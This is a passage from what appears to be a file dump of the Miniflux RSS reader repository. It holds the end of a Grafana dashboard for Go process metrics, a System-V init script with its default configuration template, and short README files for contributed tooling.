\"datasource\": {\n        \"uid\": \"Prometheus\"\n      },\n      \"gridPos\": {\n        \"h\": 1,\n        \"w\": 24,\n        \"x\": 0,\n        \"y\": 16\n      },\n      \"id\": 28,\n      \"panels\": [],\n      \"targets\": [\n        {\n          \"datasource\": {\n            \"uid\": \"Prometheus\"\n          },\n          \"refId\": \"A\"\n        }\n      ],\n      \"title\": \"Process\",\n      \"type\": \"row\"\n    },\n    {\n      \"datasource\": {\n        \"type\": \"prometheus\",\n        \"uid\": \"${DS_PROMETHEUS}\"\n      },\n      \"fieldConfig\": {\n        \"defaults\": {\n          \"color\": {\n            \"mode\": \"palette-classic\"\n          },\n          \"custom\": {\n            \"axisBorderShow\": false,\n            \"axisCenteredZero\": false,\n            \"axisColorMode\": \"text\",\n            \"axisLabel\": \"\",\n            \"axisPlacement\": \"auto\",\n            \"barAlignment\": 0,\n            \"drawStyle\": \"line\",\n            \"fillOpacity\": 10,\n            \"gradientMode\": \"none\",\n            \"hideFrom\": {\n              \"legend\": false,\n              \"tooltip\": false,\n              \"viz\": false\n            },\n            \"insertNulls\": false,\n            \"lineInterpolation\": \"linear\",\n            \"lineWidth\": 1,\n            \"pointSize\": 5,\n            \"scaleDistribution\": {\n              \"type\": \"linear\"\n            },\n            \"showPoints\": \"never\",\n            \"spanNulls\": false,\n            \"stacking\": {\n              \"group\": \"A\",\n              \"mode\": \"none\"\n            },\n            \"thresholdsStyle\": {\n              \"mode\": \"off\"\n            }\n          },\n          \"links\": [],\n          \"mappings\": [],\n          \"thresholds\": {\n            \"mode\": \"absolute\",\n            \"steps\": [\n              {\n                \"color\": \"green\",\n                \"value\": null\n              },\n              {\n                \"color\": \"red\",\n                \"value\": 80\n              }\n            ]\n          },\n          \"unit\": \"decbytes\"\n        },\n        \"overrides\": []\n      },\n      \"gridPos\": {\n        \"h\": 8,\n        \"w\": 12,\n        \"x\": 0,\n        \"y\": 17\n      },\n      \"id\": 16,\n      \"options\": {\n        \"legend\": {\n          \"calcs\": [\n            \"lastNotNull\"\n          ],\n          \"displayMode\": \"table\",\n          \"placement\": \"bottom\",\n          \"showLegend\": true\n        },\n        \"tooltip\": {\n          \"mode\": \"multi\",\n          \"sort\": \"none\"\n        }\n      },\n      \"pluginVersion\": \"10.4.3\",\n      \"targets\": [\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"go_memstats_sys_bytes{job=\\\"miniflux\\\"}\",\n          \"format\": \"time_series\",\n          \"interval\": \"\",\n          \"intervalFactor\": 1,\n          \"legendFormat\": \"{{ instance }}\",\n          \"refId\": \"A\"\n        }\n      ],\n      \"title\": \"Total Used Memory\",\n      \"type\": \"timeseries\"\n    },\n    {\n      \"datasource\": {\n        \"type\": \"prometheus\",\n        \"uid\": \"${DS_PROMETHEUS}\"\n      },\n      \"fieldConfig\": {\n        \"defaults\": {\n          \"color\": {\n            \"mode\": \"palette-classic\"\n          },\n          \"custom\": {\n            \"axisBorderShow\": false,\n            \"axisCenteredZero\": false,\n            \"axisColorMode\": \"text\",\n            \"axisLabel\": \"\",\n            \"axisPlacement\": \"auto\",\n            \"barAlignment\": 0,\n            \"drawStyle\": \"line\",\n            \"fillOpacity\": 10,\n            \"gradientMode\": \"none\",\n            \"hideFrom\": {\n              \"legend\": false,\n              \"tooltip\": false,\n              \"viz\": false\n            },\n            \"insertNulls\": false,\n            \"lineInterpolation\": \"linear\",\n            \"lineWidth\": 1,\n            \"pointSize\": 5,\n            \"scaleDistribution\": {\n              \"type\": \"linear\"\n            },\n            \"showPoints\": \"never\",\n            \"spanNulls\": false,\n            \"stacking\": {\n              \"group\": \"A\",\n              \"mode\": \"none\"\n            },\n            \"thresholdsStyle\": {\n              \"mode\": \"off\"\n            }\n          },\n          \"mappings\": [],\n          \"thresholds\": {\n            \"mode\": \"absolute\",\n            \"steps\": [\n              {\n                \"color\": \"green\",\n                \"value\": null\n              },\n              {\n                \"color\": \"red\",\n                \"value\": 80\n              }\n            ]\n          },\n          \"unit\": \"short\"\n        },\n        \"overrides\": []\n      },\n      \"gridPos\": {\n        \"h\": 8,\n        \"w\": 12,\n        \"x\": 12,\n        \"y\": 17\n      },\n      \"id\": 6,\n      \"options\": {\n        \"legend\": {\n          \"calcs\": [\n            \"mean\",\n            \"lastNotNull\",\n            \"max\",\n            \"min\"\n          ],\n          \"displayMode\": \"table\",\n          \"placement\": \"bottom\",\n          \"showLegend\": true\n        },\n        \"tooltip\": {\n          \"mode\": \"multi\",\n          \"sort\": \"none\"\n        }\n      },\n      \"pluginVersion\": \"10.4.3\",\n      \"targets\": [\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"process_open_fds{job=\\\"miniflux\\\"}\",\n          \"interval\": \"\",\n          \"legendFormat\": \"{{instance }} - Open File Descriptors\",\n          \"refId\": \"A\"\n        }\n      ],\n      \"title\": \"File Descriptors\",\n      \"type\": \"timeseries\"\n    },\n    {\n      \"collapsed\": false,\n      \"datasource\": {\n        \"uid\": \"Prometheus\"\n      },\n      \"gridPos\": {\n        \"h\": 1,\n        \"w\": 24,\n        \"x\": 0,\n        \"y\": 25\n      },\n      \"id\": 26,\n      \"panels\": [],\n      \"targets\": [\n        {\n          \"datasource\": {\n            \"uid\": \"Prometheus\"\n          },\n          \"refId\": \"A\"\n        }\n      ],\n      \"title\": \"Go Metrics\",\n      \"type\": \"row\"\n    },\n    {\n      \"datasource\": {\n        \"type\": \"prometheus\",\n        \"uid\": \"${DS_PROMETHEUS}\"\n      },\n      \"fieldConfig\": {\n        \"defaults\": {\n          \"color\": {\n            \"mode\": \"palette-classic\"\n          },\n          \"custom\": {\n            \"axisBorderShow\": false,\n            \"axisCenteredZero\": false,\n            \"axisColorMode\": \"text\",\n            \"axisLabel\": \"\",\n            \"axisPlacement\": \"auto\",\n            \"barAlignment\": 0,\n            \"drawStyle\": \"line\",\n            \"fillOpacity\": 10,\n            \"gradientMode\": \"none\",\n            \"hideFrom\": {\n              \"legend\": false,\n              \"tooltip\": false,\n              \"viz\": false\n            },\n            \"insertNulls\": false,\n            \"lineInterpolation\": \"linear\",\n            \"lineWidth\": 2,\n            \"pointSize\": 5,\n            \"scaleDistribution\": {\n              \"type\": \"linear\"\n            },\n            \"showPoints\": \"never\",\n            \"spanNulls\": true,\n            \"stacking\": {\n              \"group\": \"A\",\n              \"mode\": \"none\"\n            },\n            \"thresholdsStyle\": {\n              \"mode\": \"off\"\n            }\n          },\n          \"mappings\": [],\n          \"thresholds\": {\n            \"mode\": \"absolute\",\n            \"steps\": [\n              {\n                \"color\": \"green\"\n              },\n              {\n                \"color\": \"red\",\n                \"value\": 80\n              }\n            ]\n          },\n          \"unit\": \"bytes\"\n        },\n        \"overrides\": [\n          {\n            \"matcher\": {\n              \"id\": \"byName\",\n              \"options\": \"alloc rate\"\n            },\n            \"properties\": [\n              {\n                \"id\": \"unit\",\n                \"value\": \"Bps\"\n              }\n            ]\n          }\n        ]\n      },\n      \"gridPos\": {\n        \"h\": 7,\n        \"w\": 12,\n        \"x\": 0,\n        \"y\": 26\n      },\n      \"id\": 12,\n      \"options\": {\n        \"legend\": {\n          \"calcs\": [\n            \"mean\",\n            \"lastNotNull\",\n            \"max\"\n          ],\n          \"displayMode\": \"table\",\n          \"placement\": \"bottom\",\n          \"showLegend\": true\n        },\n        \"tooltip\": {\n          \"mode\": \"multi\",\n          \"sort\": \"none\"\n        }\n      },\n      \"pluginVersion\": \"10.4.3\",\n      \"targets\": [\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"go_memstats_alloc_bytes{job=\\\"miniflux\\\"}\",\n          \"format\": \"time_series\",\n          \"interval\": \"\",\n          \"intervalFactor\": 2,\n          \"legendFormat\": \"bytes allocated\",\n          \"metric\": \"go_memstats_alloc_bytes\",\n          \"refId\": \"A\",\n          \"step\": 4\n        },\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"rate(go_memstats_alloc_bytes_total{job=\\\"miniflux\\\"}[30s])\",\n          \"format\": \"time_series\",\n          \"interval\": \"\",\n          \"intervalFactor\": 2,\n          \"legendFormat\": \"alloc rate\",\n          \"metric\": \"go_memstats_alloc_bytes_total\",\n          \"refId\": \"B\",\n          \"step\": 4\n        },\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"go_memstats_stack_inuse_bytes{job=\\\"miniflux\\\"}\",\n          \"format\": \"time_series\",\n          \"interval\": \"\",\n          \"intervalFactor\": 2,\n          \"legendFormat\": \"stack inuse\",\n          \"metric\": \"go_memstats_stack_inuse_bytes\",\n          \"refId\": \"C\",\n          \"step\": 4\n        },\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"go_memstats_heap_inuse_bytes{job=\\\"miniflux\\\"}\",\n          \"format\": \"time_series\",\n          \"hide\": false,\n          \"interval\": \"\",\n          \"intervalFactor\": 2,\n          \"legendFormat\": \"heap inuse\",\n          \"metric\": \"go_memstats_heap_inuse_bytes\",\n          \"refId\": \"D\",\n          \"step\": 4\n        }\n      ],\n      \"title\": \"Golang Memory\",\n      \"type\": \"timeseries\"\n    },\n    {\n      \"datasource\": {\n        \"type\": \"prometheus\",\n        \"uid\": \"${DS_PROMETHEUS}\"\n      },\n      \"fieldConfig\": {\n        \"defaults\": {\n          \"color\": {\n            \"mode\": \"palette-classic\"\n          },\n          \"custom\": {\n            \"axisBorderShow\": false,\n            \"axisCenteredZero\": false,\n            \"axisColorMode\": \"text\",\n            \"axisLabel\": \"\",\n            \"axisPlacement\": \"auto\",\n            \"barAlignment\": 0,\n            \"drawStyle\": \"line\",\n            \"fillOpacity\": 10,\n            \"gradientMode\": \"none\",\n            \"hideFrom\": {\n              \"legend\": false,\n              \"tooltip\": false,\n              \"viz\": false\n            },\n            \"insertNulls\": false,\n            \"lineInterpolation\": \"linear\",\n            \"lineWidth\": 1,\n            \"pointSize\": 5,\n            \"scaleDistribution\": {\n              \"type\": \"linear\"\n            },\n            \"showPoints\": \"never\",\n            \"spanNulls\": false,\n            \"stacking\": {\n              \"group\": \"A\",\n              \"mode\": \"none\"\n            },\n            \"thresholdsStyle\": {\n              \"mode\": \"off\"\n            }\n          },\n          \"mappings\": [],\n          \"thresholds\": {\n            \"mode\": \"absolute\",\n            \"steps\": [\n              {\n                \"color\": \"green\"\n              },\n              {\n                \"color\": \"red\",\n                \"value\": 80\n              }\n            ]\n          },\n          \"unit\": \"short\"\n        },\n        \"overrides\": []\n      },\n      \"gridPos\": {\n        \"h\": 7,\n        \"w\": 12,\n        \"x\": 12,\n        \"y\": 26\n      },\n      \"id\": 8,\n      \"options\": {\n        \"legend\": {\n          \"calcs\": [\n            \"mean\",\n            \"lastNotNull\",\n            \"max\",\n            \"min\"\n          ],\n          \"displayMode\": \"table\",\n          \"placement\": \"bottom\",\n          \"showLegend\": true\n        },\n        \"tooltip\": {\n          \"mode\": \"multi\",\n          \"sort\": \"none\"\n        }\n      },\n      \"pluginVersion\": \"10.4.3\",\n      \"targets\": [\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"go_goroutines{job=\\\"miniflux\\\"}\",\n          \"interval\": \"\",\n          \"legendFormat\": \"{{ instance }} - Goroutines\",\n          \"refId\": \"A\"\n        },\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"go_threads{job=\\\"miniflux\\\"}\",\n          \"interval\": \"\",\n          \"legendFormat\": \"{{ instance }} - OS threads\",\n          \"refId\": \"B\"\n        }\n      ],\n      \"title\": \"Concurrency\",\n      \"type\": \"timeseries\"\n    },\n    {\n      \"datasource\": {\n        \"type\": \"prometheus\",\n        \"uid\": \"${DS_PROMETHEUS}\"\n      },\n      \"fieldConfig\": {\n        \"defaults\": {\n          \"color\": {\n            \"mode\": \"palette-classic\"\n          },\n          \"custom\": {\n            \"axisBorderShow\": false,\n            \"axisCenteredZero\": false,\n            \"axisColorMode\": \"text\",\n            \"axisLabel\": \"\",\n            \"axisPlacement\": \"auto\",\n            \"barAlignment\": 0,\n            \"drawStyle\": \"line\",\n            \"fillOpacity\": 10,\n            \"gradientMode\": \"none\",\n            \"hideFrom\": {\n              \"legend\": false,\n              \"tooltip\": false,\n              \"viz\": false\n            },\n            \"insertNulls\": false,\n            \"lineInterpolation\": \"linear\",\n            \"lineWidth\": 1,\n            \"pointSize\": 5,\n            \"scaleDistribution\": {\n              \"type\": \"linear\"\n            },\n            \"showPoints\": \"never\",\n            \"spanNulls\": false,\n            \"stacking\": {\n              \"group\": \"A\",\n              \"mode\": \"none\"\n            },\n            \"thresholdsStyle\": {\n              \"mode\": \"off\"\n            }\n          },\n          \"links\": [],\n          \"mappings\": [],\n          \"thresholds\": {\n            \"mode\": \"absolute\",\n            \"steps\": [\n              {\n                \"color\": \"green\"\n              },\n              {\n                \"color\": \"red\",\n                \"value\": 80\n              }\n            ]\n          },\n          \"unit\": \"decbytes\"\n        },\n        \"overrides\": []\n      },\n      \"gridPos\": {\n        \"h\": 8,\n        \"w\": 12,\n        \"x\": 0,\n        \"y\": 33\n      },\n      \"id\": 34,\n      \"options\": {\n        \"legend\": {\n          \"calcs\": [\n            \"lastNotNull\"\n          ],\n          \"displayMode\": \"table\",\n          \"placement\": \"bottom\",\n          \"showLegend\": true\n        },\n        \"tooltip\": {\n          \"mode\": \"multi\",\n          \"sort\": \"none\"\n        }\n      },\n      \"pluginVersion\": \"10.4.3\",\n      \"targets\": [\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"go_memstats_stack_inuse_bytes{job=\\\"miniflux\\\"}\",\n          \"format\": \"time_series\",\n          \"interval\": \"\",\n          \"intervalFactor\": 1,\n          \"legendFormat\": \"{{ instance }} - stack_inuse\",\n          \"refId\": \"A\"\n        },\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"go_memstats_stack_sys_bytes{job=\\\"miniflux\\\"}\",\n          \"format\": \"time_series\",\n          \"interval\": \"\",\n          \"intervalFactor\": 1,\n          \"legendFormat\": \"{{ instance }} - stack_sys\",\n          \"refId\": \"B\"\n        }\n      ],\n      \"title\": \"Memory in Stack\",\n      \"type\": \"timeseries\"\n    },\n    {\n      \"datasource\": {\n        \"type\": \"prometheus\",\n        \"uid\": \"${DS_PROMETHEUS}\"\n      },\n      \"fieldConfig\": {\n        \"defaults\": {\n          \"color\": {\n            \"mode\": \"palette-classic\"\n          },\n          \"custom\": {\n            \"axisBorderShow\": false,\n            \"axisCenteredZero\": false,\n            \"axisColorMode\": \"text\",\n            \"axisLabel\": \"\",\n            \"axisPlacement\": \"auto\",\n            \"barAlignment\": 0,\n            \"drawStyle\": \"line\",\n            \"fillOpacity\": 10,\n            \"gradientMode\": \"none\",\n            \"hideFrom\": {\n              \"legend\": false,\n              \"tooltip\": false,\n              \"viz\": false\n            },\n            \"insertNulls\": false,\n            \"lineInterpolation\": \"linear\",\n            \"lineWidth\": 1,\n            \"pointSize\": 5,\n            \"scaleDistribution\": {\n              \"type\": \"linear\"\n            },\n            \"showPoints\": \"never\",\n            \"spanNulls\": false,\n            \"stacking\": {\n              \"group\": \"A\",\n              \"mode\": \"none\"\n            },\n            \"thresholdsStyle\": {\n              \"mode\": \"off\"\n            }\n          },\n          \"links\": [],\n          \"mappings\": [],\n          \"thresholds\": {\n            \"mode\": \"absolute\",\n            \"steps\": [\n              {\n                \"color\": \"green\"\n              },\n              {\n                \"color\": \"red\",\n                \"value\": 80\n              }\n            ]\n          },\n          \"unit\": \"decbytes\"\n        },\n        \"overrides\": []\n      },\n      \"gridPos\": {\n        \"h\": 8,\n        \"w\": 12,\n        \"x\": 12,\n        \"y\": 33\n      },\n      \"id\": 32,\n      \"options\": {\n        \"legend\": {\n          \"calcs\": [],\n          \"displayMode\": \"list\",\n          \"placement\": \"bottom\",\n          \"showLegend\": true\n        },\n        \"tooltip\": {\n          \"mode\": \"multi\",\n          \"sort\": \"none\"\n        }\n      },\n      \"pluginVersion\": \"10.4.3\",\n      \"targets\": [\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"go_memstats_heap_alloc_bytes{job=\\\"miniflux\\\"}\",\n          \"format\": \"time_series\",\n          \"interval\": \"\",\n          \"intervalFactor\": 1,\n          \"legendFormat\": \"{{ instance }} - heap_alloc\",\n          \"refId\": \"B\"\n        },\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"go_memstats_heap_sys_bytes{job=\\\"miniflux\\\"}\",\n          \"format\": \"time_series\",\n          \"interval\": \"\",\n          \"intervalFactor\": 1,\n          \"legendFormat\": \"{{ instance }} - heap_sys\",\n          \"refId\": \"A\"\n        },\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"go_memstats_heap_idle_bytes{job=\\\"miniflux\\\"}\",\n          \"format\": \"time_series\",\n          \"interval\": \"\",\n          \"intervalFactor\": 1,\n          \"legendFormat\": \"{{ instance }} - heap_idle\",\n          \"refId\": \"C\"\n        },\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"go_memstats_heap_inuse_bytes{job=\\\"miniflux\\\"}\",\n          \"format\": \"time_series\",\n          \"interval\": \"\",\n          \"intervalFactor\": 1,\n          \"legendFormat\": \"{{ instance }} - heap_inuse\",\n          \"refId\": \"D\"\n        },\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"go_memstats_heap_released_bytes{job=\\\"miniflux\\\"}\",\n          \"format\": \"time_series\",\n          \"interval\": \"\",\n          \"intervalFactor\": 1,\n          \"legendFormat\": \"{{ instance }} - heap_released\",\n          \"refId\": \"E\"\n        }\n      ],\n      \"title\": \"Memory in Heap\",\n      \"type\": \"timeseries\"\n    },\n    {\n      \"datasource\": {\n        \"type\": \"prometheus\",\n        \"uid\": \"${DS_PROMETHEUS}\"\n      },\n      \"fieldConfig\": {\n        \"defaults\": {\n          \"color\": {\n            \"mode\": \"palette-classic\"\n          },\n          \"custom\": {\n            \"axisBorderShow\": false,\n            \"axisCenteredZero\": false,\n            \"axisColorMode\": \"text\",\n            \"axisLabel\": \"\",\n            \"axisPlacement\": \"auto\",\n            \"barAlignment\": 0,\n            \"drawStyle\": \"line\",\n            \"fillOpacity\": 10,\n            \"gradientMode\": \"none\",\n            \"hideFrom\": {\n              \"legend\": false,\n              \"tooltip\": false,\n              \"viz\": false\n            },\n            \"insertNulls\": false,\n            \"lineInterpolation\": \"linear\",\n            \"lineWidth\": 2,\n            \"pointSize\": 5,\n            \"scaleDistribution\": {\n              \"type\": \"linear\"\n            },\n            \"showPoints\": \"never\",\n            \"spanNulls\": true,\n            \"stacking\": {\n              \"group\": \"A\",\n              \"mode\": \"none\"\n            },\n            \"thresholdsStyle\": {\n              \"mode\": \"off\"\n            }\n          },\n          \"mappings\": [],\n          \"thresholds\": {\n            \"mode\": \"absolute\",\n            \"steps\": [\n              {\n                \"color\": \"green\"\n              },\n              {\n                \"color\": \"red\",\n                \"value\": 80\n              }\n            ]\n          },\n          \"unit\": \"s\"\n        },\n        \"overrides\": []\n      },\n      \"gridPos\": {\n        \"h\": 8,\n        \"w\": 12,\n        \"x\": 0,\n        \"y\": 41\n      },\n      \"id\": 14,\n      \"options\": {\n        \"legend\": {\n          \"calcs\": [\n            \"mean\",\n            \"lastNotNull\",\n            \"max\"\n          ],\n          \"displayMode\": \"table\",\n          \"placement\": \"bottom\",\n          \"showLegend\": true\n        },\n        \"tooltip\": {\n          \"mode\": \"multi\",\n          \"sort\": \"none\"\n        }\n      },\n      \"pluginVersion\": \"10.4.3\",\n      \"targets\": [\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"go_gc_duration_seconds{job=\\\"miniflux\\\"}\",\n          \"format\": \"time_series\",\n          \"interval\": \"\",\n          \"intervalFactor\": 2,\n          \"legendFormat\": \"{{instance}}: {{quantile}}\",\n          \"metric\": \"go_gc_duration_seconds\",\n          \"refId\": \"A\",\n          \"step\": 4\n        }\n      ],\n      \"title\": \"GC Duration Quantiles\",\n      \"type\": \"timeseries\"\n    },\n    {\n      \"datasource\": {\n        \"type\": \"prometheus\",\n        \"uid\": \"${DS_PROMETHEUS}\"\n      },\n      \"fieldConfig\": {\n        \"defaults\": {\n          \"color\": {\n            \"mode\": \"palette-classic\"\n          },\n          \"custom\": {\n            \"axisBorderShow\": false,\n            \"axisCenteredZero\": false,\n            \"axisColorMode\": \"text\",\n            \"axisLabel\": \"\",\n            \"axisPlacement\": \"auto\",\n            \"barAlignment\": 0,\n            \"drawStyle\": \"line\",\n            \"fillOpacity\": 10,\n            \"gradientMode\": \"none\",\n            \"hideFrom\": {\n              \"legend\": false,\n              \"tooltip\": false,\n              \"viz\": false\n            },\n            \"insertNulls\": false,\n            \"lineInterpolation\": \"linear\",\n            \"lineWidth\": 1,\n            \"pointSize\": 5,\n            \"scaleDistribution\": {\n              \"type\": \"linear\"\n            },\n            \"showPoints\": \"never\",\n            \"spanNulls\": false,\n            \"stacking\": {\n              \"group\": \"A\",\n              \"mode\": \"none\"\n            },\n            \"thresholdsStyle\": {\n              \"mode\": \"off\"\n            }\n          },\n          \"links\": [],\n          \"mappings\": [],\n          \"thresholds\": {\n            \"mode\": \"absolute\",\n            \"steps\": [\n              {\n                \"color\": \"green\"\n              },\n              {\n                \"color\": \"red\",\n                \"value\": 80\n              }\n            ]\n          },\n          \"unit\": \"short\"\n        },\n        \"overrides\": []\n      },\n      \"gridPos\": {\n        \"h\": 8,\n        \"w\": 12,\n        \"x\": 12,\n        \"y\": 41\n      },\n      \"id\": 30,\n      \"options\": {\n        \"legend\": {\n          \"calcs\": [],\n          \"displayMode\": \"list\",\n          \"placement\": \"bottom\",\n          \"showLegend\": true\n        },\n        \"tooltip\": {\n          \"mode\": \"multi\",\n          \"sort\": \"none\"\n        }\n      },\n      \"pluginVersion\": \"10.4.3\",\n      \"targets\": [\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"go_memstats_mallocs_total{job=\\\"miniflux\\\"} - go_memstats_frees_total{job=\\\"miniflux\\\"}\",\n          \"format\": \"time_series\",\n          \"interval\": \"\",\n          \"intervalFactor\": 1,\n          \"legendFormat\": \"{{ instance }}\",\n          \"refId\": \"A\"\n        }\n      ],\n      \"title\": \"Number of Live Objects\",\n      \"type\": \"timeseries\"\n    }\n  ],\n  \"refresh\": \"30s\",\n  \"schemaVersion\": 39,\n  \"tags\": [],\n  \"templating\": {\n    \"list\": [\n      {\n        \"current\": {\n          \"selected\": false,\n          \"text\": \"prometheus\",\n          \"value\": \"354cc25c-f240-4f6f-a2a9-2d68c22df64e\"\n        },\n        \"hide\": 0,\n        \"includeAll\": false,\n        \"label\": \"Datasource\",\n        \"multi\": false,\n        \"name\": \"DS_PROMETHEUS\",\n        \"options\": [],\n        \"query\": \"prometheus\",\n        \"queryValue\": \"\",\n        \"refresh\": 1,\n        \"regex\": \"\",\n        \"skipUrlSync\": false,\n        \"type\": \"datasource\"\n      }\n    ]\n  },\n  \"time\": {\n    \"from\": \"now-24h\",\n    \"to\": \"now\"\n  },\n  \"timepicker\": {\n    \"refresh_intervals\": [\n      \"5s\",\n      \"10s\",\n      \"30s\",\n      \"1m\",\n      \"5m\",\n      \"15m\",\n      \"30m\",\n      \"1h\",\n      \"2h\",\n      \"1d\"\n    ]\n  },\n  \"timezone\": \"\",\n  \"title\": \"Miniflux\",\n  \"uid\": \"vSaPgcFMk\",\n  \"version\": 3,\n  \"weekStart\": \"\"\n}"
  },
  {
    "path": "contrib/sysvinit/README.md",
    "content": "\nSystem-V init for e.g. http://devuan.org\n\nAssumes an executable `/usr/local/bin/miniflux`.\n\nConfigure in `etc/default/miniflux`\n\n"
  },
  {
    "path": "contrib/sysvinit/etc/default/miniflux",
    "content": "# sourced by /etc/init.d/miniflux\n# see cluster port in pg_lsclusters and ls -Al /var/run/postgresql/\nexport DATABASE_URL='host=/var/run/postgresql/ port=5433 user=miniflux password=<my secrect db password> dbname=miniflux sslmode=disable'\nexport LISTEN_ADDR='127.0.0.1:8081'\nexport BASE_URL='https://<my miniflux domain> and path/'\n\n"
  },
  {
    "path": "contrib/sysvinit/etc/init.d/miniflux",
    "content": "#! /bin/sh\n\n### BEGIN INIT INFO\n# Provides:          miniflux\n# Required-Start:    $syslog $network\n# Required-Stop:     $syslog\n# Should-Start:      postgresql\n# Should-Stop:       postgresql\n# Default-Start:     2 3 4 5\n# Default-Stop:      0 1 6\n# Short-Description: A rss reader\n# Description:       A RSS reader\n### END INIT INFO\n\n# Author: Danny Boisvert\n\n# Do NOT \"set -e\"\n\n# PATH should only include /usr/* if it runs after the mountnfs.sh script\nPATH=/sbin:/usr/sbin:/bin:/usr/bin\nDESC=\"Miniflux\"\nNAME=miniflux\nSERVICEVERBOSE=yes\nPIDFILE=/var/run/$NAME.pid\nSCRIPTNAME=/etc/init.d/$NAME\nWORKINGDIR=/usr/local/bin\nDAEMON=$WORKINGDIR/$NAME\nDAEMON_ARGS=\"\"\nUSER=nobody\n\n# Read configuration variable file if it is present\n[ -r /etc/default/$NAME ] && . /etc/default/$NAME\n\n# Exit if the package is not installed\n[ -x \"$DAEMON\" ] || exit 0\n\n# Load the VERBOSE setting and other rcS variables\n. /lib/init/vars.sh\n\n# Define LSB log_* functions.\n# Depend on lsb-base (>= 3.2-14) to ensure that this file is present\n# and status_of_proc is working.\n. /lib/lsb/init-functions\n\n#\n# Function that starts the daemon/service\n#\ndo_start()\n{\n  # Return\n  #   0 if daemon has been started\n  #   1 if daemon was already running\n  #   2 if daemon could not be started\n  sh -c \"USER=$USER start-stop-daemon --start --quiet --pidfile $PIDFILE --make-pidfile \\\\\n      --test --chdir $WORKINGDIR --chuid $USER \\\\\n      --exec $DAEMON -- $DAEMON_ARGS > /dev/null \\\\\n      || return 1\"\n  sh -c \"USER=$USER start-stop-daemon --start --quiet --pidfile $PIDFILE --make-pidfile \\\\\n      --background --chdir $WORKINGDIR --chuid $USER \\\\\n      --exec $DAEMON -- $DAEMON_ARGS \\\\\n      || return 2\"\n}\n\n#\n# Function that stops the daemon/service\n#\ndo_stop()\n{\n  # Return\n  #   0 if daemon has been stopped\n  #   1 if daemon was already stopped\n  #   2 if daemon could not be stopped\n  #   other if a failure occurred\n  start-stop-daemon --stop --quiet --retry=TERM/1/KILL/5 --pidfile $PIDFILE --name $NAME\n  RETVAL=\"$?\"\n  [ \"$RETVAL\" = 2 ] && return 2\n  start-stop-daemon --stop --quiet --oknodo --retry=0/1/KILL/5 --exec $DAEMON\n  [ \"$?\" = 2 ] && return 2\n  # Many daemons don't delete their pidfiles when they exit.\n  rm -f $PIDFILE\n  return \"$RETVAL\"\n}\n\n\ncase \"$1\" in\n  start)\n  [ \"$SERVICEVERBOSE\" != no ] && log_daemon_msg \"Starting $DESC\" \"$NAME\"\n  do_start\n  case \"$?\" in\n    0|1) [ \"$SERVICEVERBOSE\" != no ] && log_end_msg 0 ;;\n    2) [ \"$SERVICEVERBOSE\" != no ] && log_end_msg 1 ;;\n  esac\n  ;;\n  stop)\n  [ \"$SERVICEVERBOSE\" != no ] && log_daemon_msg \"Stopping $DESC\" \"$NAME\"\n  do_stop\n  case \"$?\" in\n    0|1) [ \"$SERVICEVERBOSE\" != no ] && log_end_msg 0 ;;\n    2) [ \"$SERVICEVERBOSE\" != no ] && log_end_msg 1 ;;\n  esac\n  ;;\n  status)\n  status_of_proc \"$DAEMON\" \"$NAME\" && exit 0 || exit $?\n  ;;\n  restart|force-reload)\n  log_daemon_msg \"Restarting $DESC\" \"$NAME\"\n  do_stop\n  case \"$?\" in\n    0|1)\n    do_start\n    case \"$?\" in\n      0) log_end_msg 0 ;;\n      1) log_end_msg 1 ;; # Old process is still running\n      *) log_end_msg 1 ;; # Failed to start\n    esac\n    ;;\n    *)\n    # Failed to stop\n    log_end_msg 1\n    ;;\n    esac\n  ;;\n  *)\n    echo \"Usage: $SCRIPTNAME {start|stop|status|restart|force-reload}\" >&2\n    exit 3\n    ;;\nesac\n"
  },
  {
    "path": "contrib/thunder_client/README.md",
    "content": "Miniflux API Collection for Thunder Client VS Code Extension\n============================================================\n\nOfficial website: https://www.thunderclient.com\n\nThis folder contains the API endpoints collection for Miniflux. You can import it locally to interact with the Miniflux API.\n"
  },
  {
    "path": "contrib/thunder_client/collection.json",
